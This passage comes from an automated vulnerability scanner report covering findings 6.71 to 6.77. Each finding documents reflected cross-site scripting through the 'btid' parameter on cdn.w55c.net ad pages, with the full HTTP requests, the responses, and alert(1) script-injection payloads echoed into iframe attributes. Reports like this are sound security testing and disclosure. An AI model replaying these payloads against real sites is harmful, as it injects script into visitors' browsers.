GET /i/0ROvzxEJNe_571009919.html?rtbhost=rts-rr10.sldc.dataxu.net&btid=92db2'><script>alert(1)</script>2ac55c6fad6&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNLgAJ-Z4K5X1DKQVTggYCu04PFXSP5d7SLQ&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZCWWt3ZjdTVw&ciu=MFJPdnp4RUpOZQ&reqid=NERCNDREMkUwMDA5Rjk5RTBBRTU3RDQzMjkwNTUzODI&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=570&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679873&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661873586&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661873599&frm=1&adk=2614322350&ga_vid=1404053174.1303661874&ga_sid=1303661874&ga_hid=824907956&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=19
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:10:18 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:18:00 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Mon, 11 Apr 2011 17:52:03 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 464
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061005 (MII-APC/1.6)
Content-Length: 453

<iframe id='a3cde47f' name='a3cde47f' src='http://d.w55c.net/afr.php?zoneid=790&cb=92db2'><script>alert(1)</script>2ac55c6fad6' frameborder='0' scrolling='no' width='160' height='600'><a href='htt
...[SNIP]...

6.71. http://cdn.w55c.net/i/0RW21p2fqU_270915107.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RW21p2fqU_270915107.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a5166'><script>alert(1)</script>d02c00949bc was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RW21p2fqU_270915107.html?rtbhost=rts-rr17.sldc.dataxu.net&btid=a5166'><script>alert(1)</script>d02c00949bc&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRQNgAFoToK7FcQpbsDBuQ7j9zay5ySEgzsXw&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZjSUxxQkZUbw&ciu=MFJXMjFwMmZxVQ&reqid=NERCNDUwMzYwMDA1QTEzQTBBRUM1NzEwQTVCQjAzMDY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=252&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303680649&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303662649299&bpp=2&shv=r20110420&jsv=r20110415&correlator=1303662649303&frm=1&adk=2614322350&ga_vid=278906705.1303662649&ga_sid=1303662649&ga_hid=1493962260&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&eid=36815001&fu=4&ifi=1&dtd=6
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:31:12 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Wed, 20 Apr 2011 21:25:08 GMT
Date: Sun, 24 Apr 2011 16:00:15 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 453

<iframe id='adcfce52' name='adcfce52' src='http://d.w55c.net/afr.php?zoneid=750&cb=a5166'><script>alert(1)</script>d02c00949bc' frameborder='0' scrolling='no' width='160' height='600'><a href='htt
...[SNIP]...

6.72. http://cdn.w55c.net/i/0RW21p2fqU_270915107.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RW21p2fqU_270915107.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6d816'><script>alert(1)</script>08da9559568 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RW21p2fqU_270915107.html?rtbhost=rts-rr17.sldc.dataxu.net&btid=NERCNDUwMzYwMDA1QTEzQTBBRUM1NzEwQTVCQjAzMDZ8R0ZFcnBoektNWXwxMzAzNjYyNjQ4NDE3fDF8MEZjSUxxQkZUb3wwUlcyMXAyZnFVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDI1MjE4NQ6d816'><script>alert(1)</script>08da9559568&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRQNgAFoToK7FcQpbsDBuQ7j9zay5ySEgzsXw&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZjSUxxQkZUbw&ciu=MFJXMjFwMmZxVQ&reqid=NERCNDUwMzYwMDA1QTEzQTBBRUM1NzEwQTVCQjAzMDY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=252&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303680649&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303662649299&bpp=2&shv=r20110420&jsv=r20110415&correlator=1303662649303&frm=1&adk=2614322350&ga_vid=278906705.1303662649&ga_sid=1303662649&ga_hid=1493962260&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&eid=36815001&fu=4&ifi=1&dtd=6
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:31:12 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Wed, 20 Apr 2011 21:25:08 GMT
Date: Sun, 24 Apr 2011 16:00:15 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 939

<iframe id='adcfce52' name='adcfce52' src='http://d.w55c.net/afr.php?zoneid=750&cb=NERCNDUwMzYwMDA1QTEzQTBBRUM1NzEwQTVCQjAzMDZ8R0ZFcnBoektNWXwxMzAzNjYyNjQ4NDE3fDF8MEZjSUxxQkZUb3wwUlcyMXAyZnFVfDlRU
...[SNIP]...
://d.w55c.net/ck.php?n=a8501ffc&cb=NERCNDUwMzYwMDA1QTEzQTBBRUM1NzEwQTVCQjAzMDZ8R0ZFcnBoektNWXwxMzAzNjYyNjQ4NDE3fDF8MEZjSUxxQkZUb3wwUlcyMXAyZnFVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDI1MjE4NQ6d816'><script>alert(1)</script>08da9559568' target='_blank'>
...[SNIP]...

6.73. http://cdn.w55c.net/i/0RZieDDeGI_308736425.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RZieDDeGI_308736425.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 141f8"><script>alert(1)</script>c27f9fba2f5 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RZieDDeGI_308736425.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=141f8"><script>alert(1)</script>c27f9fba2f5&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRQjAANb_wK7GYTuv9w7qr-ELGqjb86HRtR-A&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZZWG9GdFhPUQ&ciu=MFJaaWVERGVHSQ&reqid=NERCNDUwOEMwMDBENkZGQzBBRUM2NjEzQkFGRjcwRUU&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=205&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303680735&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303662735800&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303662735812&frm=1&adk=2614322350&ga_vid=273036336.1303662736&ga_sid=1303662736&ga_hid=1991820173&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=14
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:32:23 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 16:30:15 GMT
Accept-Ranges: bytes
Last-Modified: Tue, 29 Mar 2011 15:51:31 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 3077

<IFRAME SRC="http://ad.doubleclick.net/adi/N5762.158901.DATAXU/B4799014.12;sz=160x600;ord=141f8"><script>alert(1)</script>c27f9fba2f5?" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.74. http://cdn.w55c.net/i/0RZieDDeGI_308736425.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RZieDDeGI_308736425.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec549"><script>alert(1)</script>f44e9649168 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RZieDDeGI_308736425.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NERCNDUwOEMwMDBENkZGQzBBRUM2NjEzQkFGRjcwRUV8R0ZIMlV3cUxBSnwxMzAzNjYyNzM0OTIyfDF8MEZZWG9GdFhPUXwwUlppZUREZUdJfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDIwNTc3MQec549"><script>alert(1)</script>f44e9649168&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRQjAANb_wK7GYTuv9w7qr-ELGqjb86HRtR-A&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZZWG9GdFhPUQ&ciu=MFJaaWVERGVHSQ&reqid=NERCNDUwOEMwMDBENkZGQzBBRUM2NjEzQkFGRjcwRUU&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=205&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303680735&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303662735800&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303662735812&frm=1&adk=2614322350&ga_vid=273036336.1303662736&ga_sid=1303662736&ga_hid=1991820173&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=14
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:32:23 GMT
Cache-Control: no-cache, no-store
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 16:30:15 GMT
Pragma: no-cache
Accept-Ranges: bytes
Last-Modified: Tue, 29 Mar 2011 15:51:31 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 3725

<IFRAME SRC="http://ad.doubleclick.net/adi/N5762.158901.DATAXU/B4799014.12;sz=160x600;ord=NERCNDUwOEMwMDBENkZGQzBBRUM2NjEzQkFGRjcwRUV8R0ZIMlV3cUxBSnwxMzAzNjYyNzM0OTIyfDF8MEZZWG9GdFhPUXwwUlppZUREZUdJfD
...[SNIP]...
AXU/B4799014.12;abr=!ie;sz=160x600;ord=NERCNDUwOEMwMDBENkZGQzBBRUM2NjEzQkFGRjcwRUV8R0ZIMlV3cUxBSnwxMzAzNjYyNzM0OTIyfDF8MEZZWG9GdFhPUXwwUlppZUREZUdJfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDIwNTc3MQec549"><script>alert(1)</script>f44e9649168?">
...[SNIP]...

6.75. http://cdn.w55c.net/i/0RaZHwYk2m_562981296.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RaZHwYk2m_562981296.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe60a"><script>alert(1)</script>b9ba2a08030 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RaZHwYk2m_562981296.html?rtbhost=rts-rr15.sldc.dataxu.net&btid=fe60a"><script>alert(1)</script>b9ba2a08030&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAkQAN6vYK5X_NOLUzcqM_ssWL-1bQiOIurQ&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZKak0yUU5jSw&ciu=MFJhWkh3WWsybQ&reqid=NERCNDQwOTEwMDBERUFGNjBBRTU3RkNEMzhCNTMzNzI&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=467&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676644&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658644881&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658644887&frm=1&adk=513358139&ga_vid=1984226007.1303658645&ga_sid=1303658645&ga_hid=40124116&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=9
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:51 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 15:24:15 GMT
Accept-Ranges: bytes
Last-Modified: Thu, 21 Apr 2011 23:51:09 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 874

<IFRAME SRC="http://ad.doubleclick.net/adi/N3016.158901.DATAXU/B5398270.22;sz=728x90;pc=[TPAS_ID];ord=fe60a"><script>alert(1)</script>b9ba2a08030?" WIDTH=728 HEIGHT=90 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.76. http://cdn.w55c.net/i/0RaZHwYk2m_562981296.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RaZHwYk2m_562981296.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0f46"><script>alert(1)</script>0888b4f4843 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RaZHwYk2m_562981296.html?rtbhost=rts-rr15.sldc.dataxu.net&btid=NERCNDQwOTEwMDBERUFGNjBBRTU3RkNEMzhCNTMzNzJ8R0ZHWXhySXJOM3wxMzAzNjU4NjQ1MjkyfDF8MEZKak0yUU5jS3wwUmFaSHdZazJtfEVYXzEwMjM0NzcyMDZ8NDY3MTU4b0f46"><script>alert(1)</script>0888b4f4843&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAkQAN6vYK5X_NOLUzcqM_ssWL-1bQiOIurQ&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZKak0yUU5jSw&ciu=MFJhWkh3WWsybQ&reqid=NERCNDQwOTEwMDBERUFGNjBBRTU3RkNEMzhCNTMzNzI&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=467&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676644&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658644881&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658644887&frm=1&adk=513358139&ga_vid=1984226007.1303658645&ga_sid=1303658645&ga_hid=40124116&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=9
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:48 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Thu, 21 Apr 2011 23:51:09 GMT
Date: Sun, 24 Apr 2011 15:02:54 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 1418

<IFRAME SRC="http://ad.doubleclick.net/adi/N3016.158901.DATAXU/B5398270.22;sz=728x90;pc=[TPAS_ID];ord=NERCNDQwOTEwMDBERUFGNjBBRTU3RkNEMzhCNTMzNzJ8R0ZHWXhySXJOM3wxMzAzNjU4NjQ1MjkyfDF8MEZKak0yUU5jS3wwUm
...[SNIP]...
016.158901.DATAXU/B5398270.22;abr=!ie;sz=728x90;pc=[TPAS_ID];ord=NERCNDQwOTEwMDBERUFGNjBBRTU3RkNEMzhCNTMzNzJ8R0ZHWXhySXJOM3wxMzAzNjU4NjQ1MjkyfDF8MEZKak0yUU5jS3wwUmFaSHdZazJtfEVYXzEwMjM0NzcyMDZ8NDY3MTU4b0f46"><script>alert(1)</script>0888b4f4843?">
...[SNIP]...

6.77. http://cdn.w55c.net/i/0RilLTaqf1_958911823.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RilLTaqf1_958911823.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 935a4"><script>alert(1)</script>6cd3e634953 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RilLTaqf1_958911823.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NERCNDU0RjYwMDBBNzE5NzBBRUM2NThCQ0E4MTRBNUF8R0ZVeWQxclZsYXwxMzAzNjYzODY0NzY1fDF8MEZTb3MxV1lvZXwwUmlsTFRhcWYxfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDYxMTg4MQ935a4"><script>alert(1)</script>6cd3e634953&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRU9gAKcZcK7GWLyoFKWsZOaIGHRR4fdymMmw&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZTb3MxV1lvZQ&ciu=MFJpbExUYXFmMQ&reqid=NERCNDU0RjYwMDBBNzE5NzBBRUM2NThCQ0E4MTRBNUE&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=611&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
